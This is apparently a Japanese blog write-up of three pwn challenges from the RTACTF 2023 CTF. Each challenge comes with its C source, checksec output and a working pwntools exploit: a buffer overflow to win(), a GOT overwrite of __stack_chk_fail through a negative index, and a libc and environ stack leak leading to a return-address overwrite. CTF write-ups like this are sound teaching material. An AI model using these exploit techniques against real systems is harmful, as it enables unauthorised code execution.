RTACTF 2023 春 並走Writeup (Pwn)
走者では無いですが、"7*7=42"というペイロードなんだか究極の疑問の答えなんだかビッグブラザーなんだかわからない名前で並走してPwnを4問中3問解いたのでWriteupを書きます。
- RTACTF 2023 春 - YouTube: ライブ会場
- RTACTF 2023: 会場跡地 (問題サーバーもスコアサーバーもまだ動いている)
before-write (目標: 300sec) §
バイナリのソースコードは次の通り
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
ssize_t getval(const char *msg) {
char buf[0x20] = {};
write(STDOUT_FILENO, msg, strlen(msg));
read(STDIN_FILENO, buf, sizeof(buf)*0x20);
return atoll(buf);
}
int main() {
return getval("value: ");
}
checksecの結果は次の通り
[*] '/home/xornet/CTF/rta2023/before-write/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
win
関数があるしRTAなんでどうせBOFだろうと当たりを付けてwin
のアドレスを敷き詰めたペイロードを送ります。
from pwn import remote, process, ELF, p64
import sys
args = sys.argv
DEBUG = True if "-d" in args else False
port = 9001
host = "35.194.118.87"
elf = ELF("./chall")
win_addr = elf.symbols["win"]
payload = p64(win_addr) * 0x10
sc = remote(host, port)
sc.recvuntil(b"value: ")
sc.sendline(payload)
sc.interactive()
# RTACTF{sizeof_is_a_bit_c0nfus1ng}
# 敗因: recvuntilをrecvlineと間違えて2分失う
最初にコードを書き終わるまで120~150秒ぐらいだったのでかなり早いんじゃないかと思いましたが、sc.recvuntil()
をsc.recvline()
と書いていたことに2分ぐらい気付かず(再走ポイント1)、272.81秒でゴールしました。なんとか300秒は切れたので良かったです。
write (目標: 600sec) §
バイナリのソースコードは次の通り
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
ssize_t array[10];
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
#define getval(msg) \
({ \
char buf[0x20] = {}; \
write(STDOUT_FILENO, msg, strlen(msg)); \
read(STDIN_FILENO, buf, sizeof(buf)*0x20); \
atoll(buf); \
})
int main() {
ssize_t index, value;
index = getval("index: ");
value = getval("value: ");
array[index] = value;
return 0;
}
checksecの結果は次の通り
[*] '/home/xornet/CTF/rta2023/write/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
前問同様に脆弱そうなgetval
が用意されていますが、今度は関数ではなくマクロです。またバッファがグローバル変数として確保されています。index
も特にチェックが無いのでarray
からのオフセットがわかるアドレスに対して書き込みが出来ます。
何を血迷ったのか最初array
が「スタック上」に確保されていると錯覚していました(再走ポイント2)が、こいつは.bss
セクションにあります。そしてメモリ配置においてこの上の方にはGOTがあるのでindex
に負数をぶち込めばGOT Overwriteが出来そうです。
main
でarray[index] = value;
をした後には特に目立った関数は呼ばれていませんが、このバイナリはStack Canaryが有効です。また、getval
において前問同様自明なBOFが出来ます。ということは__stack_chk_fail()
を呼ぶことが出来そうなのでこのGOTをwin
に書き換えます。
最後に、getval
はatoll(buf)
なのでwin
のアドレスはp64
等でバイトにパックして送る必要が「無い」ことに注意します(再走ポイント3)。ついでにBOFも引き起こしたいので<winのアドレスの文字列> \x00 <BOF用のパディング>
みたいなペイロードを送りました。
from pwn import remote, process, p64, ELF
import sys
args = sys.argv
DEBUG = True if "-d" in args else False
port = 13337 if DEBUG else 9002
host = "35.194.118.87" if not DEBUG else "localhost"
sc = remote(host, port)
input("attach")
elf = ELF("./chall")
win_addr = elf.symbols["win"]
array_addr = 0x00404080
stack_chk_addr = 0x00404020
diff = stack_chk_addr - array_addr
diff //= 0x8
sc.recvuntil(b"index: ")
print(str(diff))
sc.sendline(str(diff).encode())
sc.recvuntil(b"value: ")
payload = win_addr
sc.sendline(str(payload).encode() + b"\x00" * 0x10 + b"a"*0x100)
sc.interactive()
# RTACTF{__stack_chk_fail-is-s0m3t1m3s-useful}
# 敗因: glibc 2.34以上, マクロに困惑, arrayはBSSに存在
ソースコードのコメントにも書いている通りこのバイナリはglibc 2.34
以上が必要です。普段使っているCTF用の環境がUbuntu 20.04でglibcのバージョンが追いついておらず、3分ぐらい無駄にした(再送ポイント4)のでそろそろ式年遷宮を行おうと思っています1。
この問題は再送ポイントが3つもあったせいで1576.50秒で解きました。配信を見返すと走者の皆さんも稀にミスしているにも関わらず俺の数倍ぐらいの速度で解いていたので恐ろしいです。
read-write (目標: 900sec) §
バイナリのソースコードは次の通り
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
size_t array[10];
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
void printval(size_t val) {
char buf[0x20] = {}, *p = buf + sizeof(buf) - 1;
*--p = '\n';
do {
*--p = '0' + (val % 10);
val /= 10;
} while (val);
write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1);
}
size_t getval(const char *msg) {
char buf[0x20] = {};
write(STDOUT_FILENO, msg, strlen(msg));
read(STDIN_FILENO, buf, sizeof(buf)*0x20);
return atoll(buf);
}
int main() {
size_t index, value;
for (int i = 0; i < 3; i++) {
switch (getval("1. read\n2. write\n> ")) {
case 1: // read
index = getval("index: ");
printval(array[index]);
break;
case 2: // write
index = getval("index: ");
value = getval("value: ");
array[index] = value;
break;
default:
return 0;
}
}
return 0;
}
checksecの結果は次の通り
[*] '/home/xornet/CTF/rta2023/read-write/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
前問のgetval
は関数になっています。またarray
に対する書き込みだけでなく読み出しも出来るようになり、どちらも合わせて3回まで行えるようです。
最初は前問との本質的な違いがよくわからず、atoll
のGOTを書き換えれば終わりだと思ってガチャガチャやっていたのですが、Full RELROなので出来ません(再走ポイント5)。そうなると書き換えられるのはリターンアドレスぐらいなものですが2、Canaryも有効なのでgetval
の自明なBOFを利用するのも難しそうです。そこでスタックアドレスをリークする事を考えましたが、Pwnを2年半程やっていないせいでスタックのリーク方法がわかりません。というわけで"Stack leak Pwn CTF"とかいう検索ワードで検索するとNaetw/CTF-pwn-tips: Here record some tips about pwn. Something is obsoleted and won't be updated. Sorry about that.がヒットします。
最終更新が2018年ですが、Leak stack addressの節は今でも使えそうです。これによるとlibc
中のenviron
というシンボルにスタック上に環境変数を詰め込んだ箇所を指すポインタが入っているようです。この問題はarray
を踏み台にした読み出しが可能なので上部のGOTから適当な関数を選んでlibcの配置アドレスがリーク出来ます。というわけでenviron
までのオフセットを足してあげればenviron
に対する読み出しも出来そうです。但し、pwntoolsのELFクラスにlibcを食わせてsymbols["environ"]
を探したんですがKeyError
を返されて途方にくれたので(再走ポイント6)、最終的に各種OSのUserlandにおけるPwn入門 - WTF!?を見てnm -D <libc> | grep environ
を実行しました。
これでスタック上を指すアドレスがリーク出来たので、environ
が指している位置からリターンアドレスまでのオフセットを足して3、最後に前問同様にwin
を書き込みます。
from pwn import remote, process, p64, ELF
import sys
args = sys.argv
DEBUG = True if "-d" in args else False
port = 13337 if DEBUG else 9003
host = "35.194.118.87" if not DEBUG else "localhost"
sc = remote(host, port)
input("attach")
elf = ELF("./chall")
libc = ELF("./libc.so.6")
win_addr = elf.symbols["win"]
sc.sendline(b"1")
sc.recvuntil(b"index: ")
idx = -12
sc.sendline(str(idx).encode())
res = sc.recvline().strip().decode()
leak = int(res)
libc_addr = leak - (0x00007f39c20360f0 - 0x7f39c1f4b000)
# stack leak?
environ_addr = 0x0000000000221200+ libc_addr
array_addr = 0x404040
idx = environ_addr - array_addr
idx //= 0x8
sc.sendline(b"1")
sc.recvuntil(b"index: ")
sc.sendline(str(idx).encode())
res = sc.recvline().strip().decode()
res = int(res)
ret = res + (0x7ffd18f488e8 - 0x7ffd18f48888 - 0x180) #????
print(hex(ret))
# overwrite return address
sc.sendline(b"2")
sc.recvuntil(b"index: ")
idx = (ret - array_addr) // 0x8
sc.sendline(str(idx).encode())
sc.recvuntil(b"value: ")
sc.sendline(str(win_addr).encode())
sc.interactive()
# RTACTF{environ_to_stack...}
# 敗因: libc address leak以外全部
この問題は新要素があってGoogleとGDBと戯れていていたこともあり、2933.11秒で解きました。解いて放送に戻ったら4問目のonly-readの解説が終わっていました。
only-read (目標: 1800sec) §
解いていないので近々復習するかもしれないです (解いたとしてもここに追記するか別記事に書くかは不明)
書きました: RTACTF 2023 - only-read
(番外編) Crypto §
開始直前の問題一覧に「AES」とかいう文字が見えたので、エディタとターミナルを閉じて酒を飲みに行きました4。
特にこの影響を受けているのがRevで最近のバイナリはどいつもこいつも2.34以上を要求してくる
後で放送を見返したらlibc中のGOT(Partial-RELRO)といった何らかの関数ポインタを書き換えるといったことが検討されていたが、思いつきもしなかったしこれもそもそも難しいらしい
実際は負数なので引いている
これは半分嘘で、Cryptoの3問目ぐらいまで(走者の皆様が沼っているのを)観戦しそこから酒を飲みに行った